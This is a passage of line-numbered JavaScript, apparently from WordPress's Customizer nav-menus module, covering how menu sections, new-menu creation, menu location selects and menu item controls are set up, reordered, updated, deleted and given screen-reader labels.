1051 'default': section.id
1052 }
1053 } );
1054 api.control.add( menuNameControl );
1055 menuNameControl.active.set( true );
1056 }
1057
1058 // Add the menu control.
1059 menuControl = api.control( section.id );
1060 if ( ! menuControl ) {
1061 menuControl = new api.controlConstructor.nav_menu( section.id, {
1062 type: 'nav_menu',
1063 section: section.id,
1064 priority: 998,
1065 settings: {
1066 'default': section.id
1067 },
1068 menu_id: section.params.menu_id
1069 } );
1070 api.control.add( menuControl );
1071 menuControl.active.set( true );
1072 }
1073
1074 // Add the menu locations control.
1075 menuLocationsControlId = section.id + '[locations]';
1076 menuLocationsControl = api.control( menuLocationsControlId );
1077 if ( ! menuLocationsControl ) {
1078 menuLocationsControl = new api.controlConstructor.nav_menu_locations( menuLocationsControlId, {
1079 section: section.id,
1080 priority: 999,
1081 settings: {
1082 'default': section.id
1083 },
1084 menu_id: section.params.menu_id
1085 } );
1086 api.control.add( menuLocationsControl.id, menuLocationsControl );
1087 menuControl.active.set( true );
1088 }
1089
1090 // Add the control for managing the menu auto_add.
1091 menuAutoAddControlId = section.id + '[auto_add]';
1092 menuAutoAddControl = api.control( menuAutoAddControlId );
1093 if ( ! menuAutoAddControl ) {
1094 menuAutoAddControl = new api.controlConstructor.nav_menu_auto_add( menuAutoAddControlId, {
1095 type: 'nav_menu_auto_add',
1096 label: '',
1097 section: section.id,
1098 priority: 1000,
1099 settings: {
1100 'default': section.id
1101 }
1102 } );
1103 api.control.add( menuAutoAddControl );
1104 menuAutoAddControl.active.set( true );
1105 }
1106
1107 // Add the control for deleting the menu.
1108 menuDeleteControlId = section.id + '[delete]';
1109 menuDeleteControl = api.control( menuDeleteControlId );
1110 if ( ! menuDeleteControl ) {
1111 menuDeleteControl = new api.Control( menuDeleteControlId, {
1112 section: section.id,
1113 priority: 1001,
1114 templateId: 'nav-menu-delete-button'
1115 } );
1116 api.control.add( menuDeleteControl.id, menuDeleteControl );
1117 menuDeleteControl.active.set( true );
1118 menuDeleteControl.deferred.embedded.done( function () {
1119 menuDeleteControl.container.find( 'button' ).on( 'click', function() {
1120 var menuId = section.params.menu_id;
1121 var menuControl = api.Menus.getMenuControl( menuId );
1122 menuControl.setting.set( false );
1123 });
1124 } );
1125 }
1126 },
1127
1128 /**
1129 *
1130 */
1131 refreshAssignedLocations: function() {
1132 var section = this,
1133 menuTermId = section.params.menu_id,
1134 currentAssignedLocations = [];
1135 _.each( section.navMenuLocationSettings, function( setting, themeLocation ) {
1136 if ( setting() === menuTermId ) {
1137 currentAssignedLocations.push( themeLocation );
1138 }
1139 });
1140 section.assignedLocations.set( currentAssignedLocations );
1141 },
1142
1143 /**
1144 * @param {Array} themeLocationSlugs Theme location slugs.
1145 */
1146 updateAssignedLocationsInSectionTitle: function( themeLocationSlugs ) {
1147 var section = this,
1148 $title;
1149
1150 $title = section.container.find( '.accordion-section-title button:first' );
1151 $title.find( '.menu-in-location' ).remove();
1152 _.each( themeLocationSlugs, function( themeLocationSlug ) {
1153 var $label, locationName;
1154 $label = $( '<span class="menu-in-location"></span>' );
1155 locationName = api.Menus.data.locationSlugMappedToName[ themeLocationSlug ];
1156 $label.text( api.Menus.data.l10n.menuLocation.replace( '%s', locationName ) );
1157 $title.append( $label );
1158 });
1159
1160 section.container.toggleClass( 'assigned-to-menu-location', 0 !== themeLocationSlugs.length );
1161
1162 },
1163
1164 onChangeExpanded: function( expanded, args ) {
1165 var section = this, completeCallback;
1166
1167 if ( expanded ) {
1168 wpNavMenu.menuList = section.contentContainer;
1169 wpNavMenu.targetList = wpNavMenu.menuList;
1170
1171 // Add attributes needed by wpNavMenu.
1172 $( '#menu-to-edit' ).removeAttr( 'id' );
1173 wpNavMenu.menuList.attr( 'id', 'menu-to-edit' ).addClass( 'menu' );
1174
1175 api.Menus.MenuItemControl.prototype.initAccessibility();
1176
1177 _.each( api.section( section.id ).controls(), function( control ) {
1178 if ( 'nav_menu_item' === control.params.type ) {
1179 control.actuallyEmbed();
1180 }
1181 } );
1182
1183 // Make sure Sortables is initialized after the section has been expanded to prevent `offset` issues.
1184 if ( args.completeCallback ) {
1185 completeCallback = args.completeCallback;
1186 }
1187 args.completeCallback = function() {
1188 if ( 'resolved' !== section.deferred.initSortables.state() ) {
1189 wpNavMenu.initSortables(); // Depends on menu-to-edit ID being set above.
1190 section.deferred.initSortables.resolve( wpNavMenu.menuList ); // Now MenuControl can extend the sortable.
1191
1192 // @todo Note that wp.customize.reflowPaneContents() is debounced,
1193 // so this immediate change will show a slight flicker while priorities get updated.
1194 api.control( 'nav_menu[' + String( section.params.menu_id ) + ']' ).reflowMenuItems();
1195 }
1196 if ( _.isFunction( completeCallback ) ) {
1197 completeCallback();
1198 }
1199 };
1200 }
1201 api.Section.prototype.onChangeExpanded.call( section, expanded, args );
1202 },
1203
1204 /**
1205 * Highlight how a user may create new menu items.
1206 *
1207 * This method reminds the user to create new menu items and how.
1208 * It's exposed this way because this class knows best which UI needs
1209 * highlighted but those expanding this section know more about why and
1210 * when the affordance should be highlighted.
1211 *
1212 * @since 4.9.0
1213 *
1214 * @return {void}
1215 */
1216 highlightNewItemButton: function() {
1217 api.utils.highlightButton( this.contentContainer.find( '.add-new-menu-item' ), { delay: 2000 } );
1218 }
1219 });
1220
1221 /**
1222 * Create a nav menu setting and section.
1223 *
1224 * @since 4.9.0
1225 *
1226 * @param {string} [name=''] Nav menu name.
1227 * @return {wp.customize.Menus.MenuSection} Added nav menu.
1228 */
1229 api.Menus.createNavMenu = function createNavMenu( name ) {
1230 var customizeId, placeholderId, setting;
1231 placeholderId = api.Menus.generatePlaceholderAutoIncrementId();
1232
1233 customizeId = 'nav_menu[' + String( placeholderId ) + ']';
1234
1235 // Register the menu control setting.
1236 setting = api.create( customizeId, customizeId, {}, {
1237 type: 'nav_menu',
1238 transport: api.Menus.data.settingTransport,
1239 previewer: api.previewer
1240 } );
1241 setting.set( $.extend(
1242 {},
1243 api.Menus.data.defaultSettingValues.nav_menu,
1244 {
1245 name: name || ''
1246 }
1247 ) );
1248
1249 /*
1250 * Add the menu section (and its controls).
1251 * Note that this will automatically create the required controls
1252 * inside via the Section's ready method.
1253 */
1254 return api.section.add( new api.Menus.MenuSection( customizeId, {
1255 panel: 'nav_menus',
1256 title: displayNavMenuName( name ),
1257 customizeAction: api.Menus.data.l10n.customizingMenus,
1258 priority: 10,
1259 menu_id: placeholderId
1260 } ) );
1261 };
1262
1263 /**
1264 * wp.customize.Menus.NewMenuSection
1265 *
1266 * Customizer section for new menus.
1267 *
1268 * @class wp.customize.Menus.NewMenuSection
1269 * @augments wp.customize.Section
1270 */
1271 api.Menus.NewMenuSection = api.Section.extend(/** @lends wp.customize.Menus.NewMenuSection.prototype */{
1272
1273 /**
1274 * Add behaviors for the accordion section.
1275 *
1276 * @since 4.3.0
1277 */
1278 attachEvents: function() {
1279 var section = this,
1280 container = section.container,
1281 contentContainer = section.contentContainer,
1282 navMenuSettingPattern = /^nav_menu\[/;
1283
1284 section.headContainer.find( '.accordion-section-title' ).replaceWith(
1285 wp.template( 'nav-menu-create-menu-section-title' )
1286 );
1287
1288 /*
1289 * We have to manually handle section expanded because we do not
1290 * apply the `accordion-section-title` class to this button-driven section.
1291 */
1292 container.on( 'click', '.customize-add-menu-button', function() {
1293 section.expand();
1294 });
1295
1296 contentContainer.on( 'keydown', '.menu-name-field', function( event ) {
1297 if ( 13 === event.which ) { // Enter.
1298 section.submit();
1299 }
1300 } );
1301 contentContainer.on( 'click', '#customize-new-menu-submit', function( event ) {
1302 section.submit();
1303 event.stopPropagation();
1304 event.preventDefault();
1305 } );
1306
1307 /**
1308 * Get number of non-deleted nav menus.
1309 *
1310 * @since 4.9.0
1311 * @return {number} Count.
1312 */
1313 function getNavMenuCount() {
1314 var count = 0;
1315 api.each( function( setting ) {
1316 if ( navMenuSettingPattern.test( setting.id ) && false !== setting.get() ) {
1317 count += 1;
1318 }
1319 } );
1320 return count;
1321 }
1322
1323 /**
1324 * Update visibility of notice to prompt users to create menus.
1325 *
1326 * @since 4.9.0
1327 * @return {void}
1328 */
1329 function updateNoticeVisibility() {
1330 container.find( '.add-new-menu-notice' ).prop( 'hidden', getNavMenuCount() > 0 );
1331 }
1332
1333 /**
1334 * Handle setting addition.
1335 *
1336 * @since 4.9.0
1337 * @param {wp.customize.Setting} setting - Added setting.
1338 * @return {void}
1339 */
1340 function addChangeEventListener( setting ) {
1341 if ( navMenuSettingPattern.test( setting.id ) ) {
1342 setting.bind( updateNoticeVisibility );
1343 updateNoticeVisibility();
1344 }
1345 }
1346
1347 /**
1348 * Handle setting removal.
1349 *
1350 * @since 4.9.0
1351 * @param {wp.customize.Setting} setting - Removed setting.
1352 * @return {void}
1353 */
1354 function removeChangeEventListener( setting ) {
1355 if ( navMenuSettingPattern.test( setting.id ) ) {
1356 setting.unbind( updateNoticeVisibility );
1357 updateNoticeVisibility();
1358 }
1359 }
1360
1361 api.each( addChangeEventListener );
1362 api.bind( 'add', addChangeEventListener );
1363 api.bind( 'removed', removeChangeEventListener );
1364 updateNoticeVisibility();
1365
1366 api.Section.prototype.attachEvents.apply( section, arguments );
1367 },
1368
1369 /**
1370 * Set up the control.
1371 *
1372 * @since 4.9.0
1373 */
1374 ready: function() {
1375 this.populateControls();
1376 },
1377
1378 /**
1379 * Create the controls for this section.
1380 *
1381 * @since 4.9.0
1382 */
1383 populateControls: function() {
1384 var section = this,
1385 menuNameControlId,
1386 menuLocationsControlId,
1387 newMenuSubmitControlId,
1388 menuNameControl,
1389 menuLocationsControl,
1390 newMenuSubmitControl;
1391
1392 menuNameControlId = section.id + '[name]';
1393 menuNameControl = api.control( menuNameControlId );
1394 if ( ! menuNameControl ) {
1395 menuNameControl = new api.controlConstructor.nav_menu_name( menuNameControlId, {
1396 label: api.Menus.data.l10n.menuNameLabel,
1397 description: api.Menus.data.l10n.newMenuNameDescription,
1398 section: section.id,
1399 priority: 0
1400 } );
1401 api.control.add( menuNameControl.id, menuNameControl );
1402 menuNameControl.active.set( true );
1403 }
1404
1405 menuLocationsControlId = section.id + '[locations]';
1406 menuLocationsControl = api.control( menuLocationsControlId );
1407 if ( ! menuLocationsControl ) {
1408 menuLocationsControl = new api.controlConstructor.nav_menu_locations( menuLocationsControlId, {
1409 section: section.id,
1410 priority: 1,
1411 menu_id: '',
1412 isCreating: true
1413 } );
1414 api.control.add( menuLocationsControlId, menuLocationsControl );
1415 menuLocationsControl.active.set( true );
1416 }
1417
1418 newMenuSubmitControlId = section.id + '[submit]';
1419 newMenuSubmitControl = api.control( newMenuSubmitControlId );
1420 if ( !newMenuSubmitControl ) {
1421 newMenuSubmitControl = new api.Control( newMenuSubmitControlId, {
1422 section: section.id,
1423 priority: 1,
1424 templateId: 'nav-menu-submit-new-button'
1425 } );
1426 api.control.add( newMenuSubmitControlId, newMenuSubmitControl );
1427 newMenuSubmitControl.active.set( true );
1428 }
1429 },
1430
1431 /**
1432 * Create the new menu with name and location supplied by the user.
1433 *
1434 * @since 4.9.0
1435 */
1436 submit: function() {
1437 var section = this,
1438 contentContainer = section.contentContainer,
1439 nameInput = contentContainer.find( '.menu-name-field' ).first(),
1440 name = nameInput.val(),
1441 menuSection;
1442
1443 if ( ! name ) {
1444 nameInput.addClass( 'invalid' );
1445 nameInput.focus();
1446 return;
1447 }
1448
1449 menuSection = api.Menus.createNavMenu( name );
1450
1451 // Clear name field.
1452 nameInput.val( '' );
1453 nameInput.removeClass( 'invalid' );
1454
1455 contentContainer.find( '.assigned-menu-location input[type=checkbox]' ).each( function() {
1456 var checkbox = $( this ),
1457 navMenuLocationSetting;
1458
1459 if ( checkbox.prop( 'checked' ) ) {
1460 navMenuLocationSetting = api( 'nav_menu_locations[' + checkbox.data( 'location-id' ) + ']' );
1461 navMenuLocationSetting.set( menuSection.params.menu_id );
1462
1463 // Reset state for next new menu.
1464 checkbox.prop( 'checked', false );
1465 }
1466 } );
1467
1468 wp.a11y.speak( api.Menus.data.l10n.menuAdded );
1469
1470 // Focus on the new menu section.
1471 menuSection.focus( {
1472 completeCallback: function() {
1473 menuSection.highlightNewItemButton();
1474 }
1475 } );
1476 },
1477
1478 /**
1479 * Select a default location.
1480 *
1481 * This method selects a single location by default so we can support
1482 * creating a menu for a specific menu location.
1483 *
1484 * @since 4.9.0
1485 *
1486 * @param {string|null} locationId - The ID of the location to select. `null` clears all selections.
1487 * @return {void}
1488 */
1489 selectDefaultLocation: function( locationId ) {
1490 var locationControl = api.control( this.id + '[locations]' ),
1491 locationSelections = {};
1492
1493 if ( locationId !== null ) {
1494 locationSelections[ locationId ] = true;
1495 }
1496
1497 locationControl.setSelections( locationSelections );
1498 }
1499 });
1500
1501 /**
1502 * wp.customize.Menus.MenuLocationControl
1503 *
1504 * Customizer control for menu locations (rendered as a <select>).
1505 * Note that 'nav_menu_location' must match the WP_Customize_Nav_Menu_Location_Control::$type.
1506 *
1507 * @class wp.customize.Menus.MenuLocationControl
1508 * @augments wp.customize.Control
1509 */
1510 api.Menus.MenuLocationControl = api.Control.extend(/** @lends wp.customize.Menus.MenuLocationControl.prototype */{
1511 initialize: function( id, options ) {
1512 var control = this,
1513 matches = id.match( /^nav_menu_locations\[(.+?)]/ );
1514 control.themeLocation = matches[1];
1515 api.Control.prototype.initialize.call( control, id, options );
1516 },
1517
1518 ready: function() {
1519 var control = this, navMenuIdRegex = /^nav_menu\[(-?\d+)]/;
1520
1521 // @todo It would be better if this was added directly on the setting itself, as opposed to the control.
1522 control.setting.validate = function( value ) {
1523 if ( '' === value ) {
1524 return 0;
1525 } else {
1526 return parseInt( value, 10 );
1527 }
1528 };
1529
1530 // Create and Edit menu buttons.
1531 control.container.find( '.create-menu' ).on( 'click', function() {
1532 var addMenuSection = api.section( 'add_menu' );
1533 addMenuSection.selectDefaultLocation( this.dataset.locationId );
1534 addMenuSection.focus();
1535 } );
1536 control.container.find( '.edit-menu' ).on( 'click', function() {
1537 var menuId = control.setting();
1538 api.section( 'nav_menu[' + menuId + ']' ).focus();
1539 });
1540 control.setting.bind( 'change', function() {
1541 var menuIsSelected = 0 !== control.setting();
1542 control.container.find( '.create-menu' ).toggleClass( 'hidden', menuIsSelected );
1543 control.container.find( '.edit-menu' ).toggleClass( 'hidden', ! menuIsSelected );
1544 });
1545
1546 // Add/remove menus from the available options when they are added and removed.
1547 api.bind( 'add', function( setting ) {
1548 var option, menuId, matches = setting.id.match( navMenuIdRegex );
1549 if ( ! matches || false === setting() ) {
1550 return;
1551 }
1552 menuId = matches[1];
1553 option = new Option( displayNavMenuName( setting().name ), menuId );
1554 control.container.find( 'select' ).append( option );
1555 });
1556 api.bind( 'remove', function( setting ) {
1557 var menuId, matches = setting.id.match( navMenuIdRegex );
1558 if ( ! matches ) {
1559 return;
1560 }
1561 menuId = parseInt( matches[1], 10 );
1562 if ( control.setting() === menuId ) {
1563 control.setting.set( '' );
1564 }
1565 control.container.find( 'option[value=' + menuId + ']' ).remove();
1566 });
1567 api.bind( 'change', function( setting ) {
1568 var menuId, matches = setting.id.match( navMenuIdRegex );
1569 if ( ! matches ) {
1570 return;
1571 }
1572 menuId = parseInt( matches[1], 10 );
1573 if ( false === setting() ) {
1574 if ( control.setting() === menuId ) {
1575 control.setting.set( '' );
1576 }
1577 control.container.find( 'option[value=' + menuId + ']' ).remove();
1578 } else {
1579 control.container.find( 'option[value=' + menuId + ']' ).text( displayNavMenuName( setting().name ) );
1580 }
1581 });
1582 }
1583 });
1584
1585 api.Menus.MenuItemControl = api.Control.extend(/** @lends wp.customize.Menus.MenuItemControl.prototype */{
1586
1587 /**
1588 * wp.customize.Menus.MenuItemControl
1589 *
1590 * Customizer control for menu items.
1591 * Note that 'menu_item' must match the WP_Customize_Menu_Item_Control::$type.
1592 *
1593 * @constructs wp.customize.Menus.MenuItemControl
1594 * @augments wp.customize.Control
1595 *
1596 * @inheritDoc
1597 */
1598 initialize: function( id, options ) {
1599 var control = this;
1600 control.expanded = new api.Value( false );
1601 control.expandedArgumentsQueue = [];
1602 control.expanded.bind( function( expanded ) {
1603 var args = control.expandedArgumentsQueue.shift();
1604 args = $.extend( {}, control.defaultExpandedArguments, args );
1605 control.onChangeExpanded( expanded, args );
1606 });
1607 api.Control.prototype.initialize.call( control, id, options );
1608 control.active.validate = function() {
1609 var value, section = api.section( control.section() );
1610 if ( section ) {
1611 value = section.active();
1612 } else {
1613 value = false;
1614 }
1615 return value;
1616 };
1617 },
1618
1619 /**
1620 * Set up the initial state of the screen reader accessibility information for menu items.
1621 *
1622 * @since 6.6.0
1623 */
1624 initAccessibility: function() {
1625 var control = this,
1626 menu = $( '#menu-to-edit' );
1627
1628 // Refresh the accessibility when the user comes close to the item in any way.
1629 menu.on( 'mouseenter.refreshAccessibility focus.refreshAccessibility touchstart.refreshAccessibility', '.menu-item', function(){
1630 control.refreshAdvancedAccessibilityOfItem( $( this ).find( 'button.item-edit' ) );
1631 } );
1632
1633 // We have to update on click as well because we might hover first, change the item, and then click.
1634 menu.on( 'click', 'button.item-edit', function() {
1635 control.refreshAdvancedAccessibilityOfItem( $( this ) );
1636 } );
1637 },
1638
1639 /**
1640 * refreshAdvancedAccessibilityOfItem( [itemToRefresh] )
1641 *
1642 * Refreshes advanced accessibility buttons for one menu item.
1643 * Shows or hides buttons based on the location of the menu item.
1644 *
1645 * @param {Object} itemToRefresh The menu item that might need its advanced accessibility buttons refreshed
1646 *
1647 * @since 6.6.0
1648 */
1649 refreshAdvancedAccessibilityOfItem: function( itemToRefresh ) {
1650 // Only refresh accessibility when necessary.
1651 if ( true !== $( itemToRefresh ).data( 'needs_accessibility_refresh' ) ) {
1652 return;
1653 }
1654
1655 var primaryItems, itemPosition, title,
1656 parentItem, parentItemId, parentItemName, subItems, totalSubItems,
1657 $this = $( itemToRefresh ),
1658 menuItem = $this.closest( 'li.menu-item' ).first(),
1659 depth = menuItem.menuItemDepth(),
1660 isPrimaryMenuItem = ( 0 === depth ),
1661 itemName = $this.closest( '.menu-item-handle' ).find( '.menu-item-title' ).text(),
1662 menuItemType = $this.closest( '.menu-item-handle' ).find( '.item-type' ).text(),
1663 totalMenuItems = $( '#menu-to-edit li' ).length;
1664
1665 if ( isPrimaryMenuItem ) {
1666 primaryItems = $( '.menu-item-depth-0' ),
1667 itemPosition = primaryItems.index( menuItem ) + 1,
1668 totalMenuItems = primaryItems.length,
1669 // String together help text for primary menu items.
1670 title = menus.menuFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalMenuItems );
1671 } else {
1672 parentItem = menuItem.prevAll( '.menu-item-depth-' + parseInt( depth - 1, 10 ) ).first(),
1673 parentItemId = parentItem.find( '.menu-item-data-db-id' ).val(),
1674 parentItemName = parentItem.find( '.menu-item-title' ).text(),
1675 subItems = $( '.menu-item .menu-item-data-parent-id[value="' + parentItemId + '"]' ),
1676 totalSubItems = subItems.length,
1677 itemPosition = $( subItems.parents( '.menu-item' ).get().reverse() ).index( menuItem ) + 1;
1678
1679 // String together help text for sub menu items.
1680 if ( depth < 2 ) {
1681 title = menus.subMenuFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalSubItems ).replace( '%5$s', parentItemName );
1682 } else {
1683 title = menus.subMenuMoreDepthFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalSubItems ).replace( '%5$s', parentItemName ).replace( '%6$d', depth );
1684 }
1685 }
1686
1687 $this.find( '.screen-reader-text' ).text( title );
1688
1689 // Mark this item's accessibility as refreshed.
1690 $this.data( 'needs_accessibility_refresh', false );
1691 },
1692
1693 /**
1694 * Override the embed() method to do nothing,
1695 * so that the control isn't embedded on load,
1696 * unless the containing section is already expanded.
1697 *
1698 * @since 4.3.0
1699 */
1700 embed: function() {
1701 var control = this,
1702 sectionId = control.section(),
1703 section;
1704 if ( ! sectionId ) {
1705 return;
1706 }
1707 section = api.section( sectionId );
1708 if ( ( section && section.expanded() ) || api.settings.autofocus.control === control.id ) {
1709 control.actuallyEmbed();
1710 }
1711 },
1712
1713 /**
1714 * This function is called in Section.onChangeExpanded() so the control
1715 * will only get embedded when the Section is first expanded.
1716 *
1717 * @since 4.3.0
1718 */
1719 actuallyEmbed: function() {
1720 var control = this;
1721 if ( 'resolved' === control.deferred.embedded.state() ) {
1722 return;
1723 }
1724 control.renderContent();
1725 control.deferred.embedded.resolve(); // This triggers control.ready().
1726
1727 // Mark all menu items as unprocessed.
1728 $( 'button.item-edit' ).data( 'needs_accessibility_refresh', true );
1729 },
1730
1731 /**
1732 * Set up the control.
1733 */
1734 ready: function() {
1735 if ( 'undefined' === typeof this.params.menu_item_id ) {
1736 throw new Error( 'params.menu_item_id was not defined' );
1737 }
1738
1739 this._setupControlToggle();
1740 this._setupReorderUI();
1741 this._setupUpdateUI();
1742 this._setupRemoveUI();
1743 this._setupLinksUI();
1744 this._setupTitleUI();
1745 },
1746
1747 /**
1748 * Show/hide the settings when clicking on the menu item handle.
1749 */
1750 _setupControlToggle: function() {
1751 var control = this;
1752
1753 this.container.find( '.menu-item-handle' ).on( 'click', function( e ) {
1754 e.preventDefault();
1755 e.stopPropagation();
1756 var menuControl = control.getMenuControl(),
1757 isDeleteBtn = $( e.target ).is( '.item-delete, .item-delete *' ),
1758 isAddNewBtn = $( e.target ).is( '.add-new-menu-item, .add-new-menu-item *' );
1759
1760 if ( $( 'body' ).hasClass( 'adding-menu-items' ) && ! isDeleteBtn && ! isAddNewBtn ) {
1761 api.Menus.availableMenuItemsPanel.close();
1762 }
1763
1764 if ( menuControl.isReordering || menuControl.isSorting ) {
1765 return;
1766 }
1767 control.toggleForm();
1768 } );
1769 },
1770
1771 /**
1772 * Set up the menu-item-reorder-nav
1773 */
1774 _setupReorderUI: function() {
1775 var control = this, template, $reorderNav;
1776
1777 template = wp.template( 'menu-item-reorder-nav' );
1778
1779 // Add the menu item reordering elements to the menu item control.
1780 control.container.find( '.item-controls' ).after( template );
1781
1782 // Handle clicks for up/down/left-right on the reorder nav.
1783 $reorderNav = control.container.find( '.menu-item-reorder-nav' );
1784 $reorderNav.find( '.menus-move-up, .menus-move-down, .menus-move-left, .menus-move-right' ).on( 'click', function() {
1785 var moveBtn = $( this );
1786 control.params.depth = control.getDepth();
1787
1788 moveBtn.focus();
1789
1790 var isMoveUp = moveBtn.is( '.menus-move-up' ),
1791 isMoveDown = moveBtn.is( '.menus-move-down' ),
1792 isMoveLeft = moveBtn.is( '.menus-move-left' ),
1793 isMoveRight = moveBtn.is( '.menus-move-right' );
1794
1795 if ( isMoveUp ) {
1796 control.moveUp();
1797 } else if ( isMoveDown ) {
1798 control.moveDown();
1799 } else if ( isMoveLeft ) {
1800 control.moveLeft();
1801 } else if ( isMoveRight ) {
1802 control.moveRight();
1803 control.params.depth += 1;
1804 }
1805
1806 moveBtn.focus(); // Re-focus after the container was moved.
1807
1808 // Mark all menu items as unprocessed.
1809 $( 'button.item-edit' ).data( 'needs_accessibility_refresh', true );
1810 } );
1811 },
1812
1813 /**
1814 * Set up event handlers for menu item updating.
1815 */
1816 _setupUpdateUI: function() {
1817 var control = this,
1818 settingValue = control.setting(),
1819 updateNotifications;
1820
1821 control.elements = {};
1822 control.elements.url = new api.Element( control.container.find( '.edit-menu-item-url' ) );
1823 control.elements.title = new api.Element( control.container.find( '.edit-menu-item-title' ) );
1824 control.elements.attr_title = new api.Element( control.container.find( '.edit-menu-item-attr-title' ) );
1825 control.elements.target = new api.Element( control.container.find( '.edit-menu-item-target' ) );
1826 control.elements.classes = new api.Element( control.container.find( '.edit-menu-item-classes' ) );
1827 control.elements.xfn = new api.Element( control.container.find( '.edit-menu-item-xfn' ) );
1828 control.elements.description = new api.Element( control.container.find( '.edit-menu-item-description' ) );
1829 // @todo Allow other elements, added by plugins, to be automatically picked up here;
1830 // allow additional values to be added to setting array.
1831
1832 _.each( control.elements, function( element, property ) {
1833 element.bind(function( value ) {
1834 if ( element.element.is( 'input[type=checkbox]' ) ) {
1835 value = ( value ) ? element.element.val() : '';
1836 }
1837
1838 var settingValue = control.setting();
1839 if ( settingValue && settingValue[ property ] !== value ) {
1840 settingValue = _.clone( settingValue );
1841 settingValue[ property ] = value;
1842 control.setting.set( settingValue );
1843 }
1844 });
1845 if ( settingValue ) {
1846 if ( ( property === 'classes' || property === 'xfn' ) && _.isArray( settingValue[ property ] ) ) {
1847 element.set( settingValue[ property ].join( ' ' ) );
1848 } else {
1849 element.set( settingValue[ property ] );
1850 }
1851 }
1852 });
1853
1854 control.setting.bind(function( to, from ) {
1855 var itemId = control.params.menu_item_id,
1856 followingSiblingItemControls = [],
1857 childrenItemControls = [],
1858 menuControl;
1859
1860 if ( false === to ) {
1861 menuControl = api.control( 'nav_menu[' + String( from.nav_menu_term_id ) + ']' );
1862 control.container.remove();
1863
1864 _.each( menuControl.getMenuItemControls(), function( otherControl ) {
1865 if ( from.menu_item_parent === otherControl.setting().menu_item_parent && otherControl.setting().position > from.position ) {
1866 followingSiblingItemControls.push( otherControl );
1867 } else if ( otherControl.setting().menu_item_parent === itemId ) {
1868 childrenItemControls.push( otherControl );
1869 }
1870 });
1871
1872 // Shift all following siblings by the number of children this item has.
1873 _.each( followingSiblingItemControls, function( followingSiblingItemControl ) {
1874 var value = _.clone( followingSiblingItemControl.setting() );
1875 value.position += childrenItemControls.length;
1876 followingSiblingItemControl.setting.set( value );
1877 });
1878
1879 // Now move the children up to be the new subsequent siblings.
1880 _.each( childrenItemControls, function( childrenItemControl, i ) {
1881 var value = _.clone( childrenItemControl.setting() );
1882 value.position = from.position + i;
1883 value.menu_item_parent = from.menu_item_parent;
1884 childrenItemControl.setting.set( value );
1885 });
1886
1887 menuControl.debouncedReflowMenuItems();
1888 } else {
1889 // Update the elements' values to match the new setting properties.
1890 _.each( to, function( value, key ) {
1891 if ( control.elements[ key] ) {
1892 control.elements[ key ].set( to[ key ] );
1893 }
1894 } );
1895 control.container.find( '.menu-item-data-parent-id' ).val( to.menu_item_parent );
1896
1897 // Handle UI updates when the position or depth (parent) change.
1898 if ( to.position !== from.position || to.menu_item_parent !== from.menu_item_parent ) {
1899 control.getMenuControl().debouncedReflowMenuItems();
1900 }
1901 }
1902 });
1903
1904 // Style the URL field as invalid when there is an invalid_url notification.
1905 updateNotifications = function() {
1906 control.elements.url.element.toggleClass( 'invalid', control.setting.notifications.has( 'invalid_url' ) );
1907 };
1908 control.setting.notifications.bind( 'add', updateNotifications );
1909 control.setting.notifications.bind( 'removed', updateNotifications );
1910 },
1911
1912 /**
1913 * Set up event handlers for menu item deletion.
1914 */
1915 _setupRemoveUI: function() {
1916 var control = this, $removeBtn;
1917
1918 // Configure delete button.
1919 $removeBtn = control.container.find( '.item-delete' );
1920
1921 $removeBtn.on( 'click', function() {
1922 // Find an adjacent element to add focus to when this menu item goes away.
1923 var addingItems = true, $adjacentFocusTarget, $next, $prev,
1924 instanceCounter = 0, // Instance count of the menu item deleted.
1925 deleteItemOriginalItemId = control.params.original_item_id,
1926 addedItems = control.getMenuControl().$sectionContent.find( '.menu-item' ),
1927 availableMenuItem;
1928
1929 if ( ! $( 'body' ).hasClass( 'adding-menu-items' ) ) {
1930 addingItems = false;
1931 }
1932
1933 $next = control.container.nextAll( '.customize-control-nav_menu_item:visible' ).first();
1934 $prev = control.container.prevAll( '.customize-control-nav_menu_item:visible' ).first();
1935
1936 if ( $next.length ) {
1937 $adjacentFocusTarget = $next.find( false === addingItems ? '.item-edit' : '.item-delete' ).first();
1938 } else if ( $prev.length ) {
1939 $adjacentFocusTarget = $prev.find( false === addingItems ? '.item-edit' : '.item-delete' ).first();
1940 } else {
1941 $adjacentFocusTarget = control.container.nextAll( '.customize-control-nav_menu' ).find( '.add-new-menu-item' ).first();
1942 }
1943
1944 /*
1945 * If the menu item deleted is the only of its instance left,
1946 * remove the check icon of this menu item in the right panel.
1947 */
1948 _.each( addedItems, function( addedItem ) {
1949 var menuItemId, menuItemControl, matches;
1950
1951 // This is because menu item that's deleted is just hidden.
1952 if ( ! $( addedItem ).is( ':visible' ) ) {
1953 return;
1954 }
1955
1956 matches = addedItem.getAttribute( 'id' ).match( /^customize-control-nav_menu_item-(-?\d+)$/, '' );
1957 if ( ! matches ) {
1958 return;
1959 }
1960
1961 menuItemId = parseInt( matches[1], 10 );
1962 menuItemControl = api.control( 'nav_menu_item[' + String( menuItemId ) + ']' );
1963
1964 // Check for duplicate menu items.
1965 if ( menuItemControl && deleteItemOriginalItemId == menuItemControl.params.original_item_id ) {
1966 instanceCounter++;
1967 }
1968 } );
1969
1970 if ( instanceCounter <= 1 ) {
1971 // Revert the check icon to add icon.
1972 availableMenuItem = $( '#menu-item-tpl-' + control.params.original_item_id );
1973 availableMenuItem.removeClass( 'selected' );
1974 availableMenuItem.find( '.menu-item-handle' ).removeClass( 'item-added' );
1975 }
1976
1977 control.container.slideUp( function() {
1978 control.setting.set( false );
1979 wp.a11y.speak( api.Menus.data.l10n.itemDeleted );
1980 $adjacentFocusTarget.focus(); // Keyboard accessibility.
1981 } );
1982
1983 control.setting.set( false );
1984 } );
1985 },
1986
1987 _setupLinksUI: function() {
1988 var $origBtn;
1989
1990 // Configure original link.
1991 $origBtn = this.container.find( 'a.original-link' );
1992
1993 $origBtn.on( 'click', function( e ) {
1994 e.preventDefault();
1995 api.previewer.previewUrl( e.target.toString() );
1996 } );
1997 },
1998
1999 /**
2000 * Update item handle title when changed.
2001 */
2002 _setupTitleUI: function() {
2003 var control = this, titleEl;
2004
2005 // Ensure that whitespace is trimmed on blur so placeholder can be shown.
2006 control.container.find( '.edit-menu-item-title' ).on( 'blur', function() {
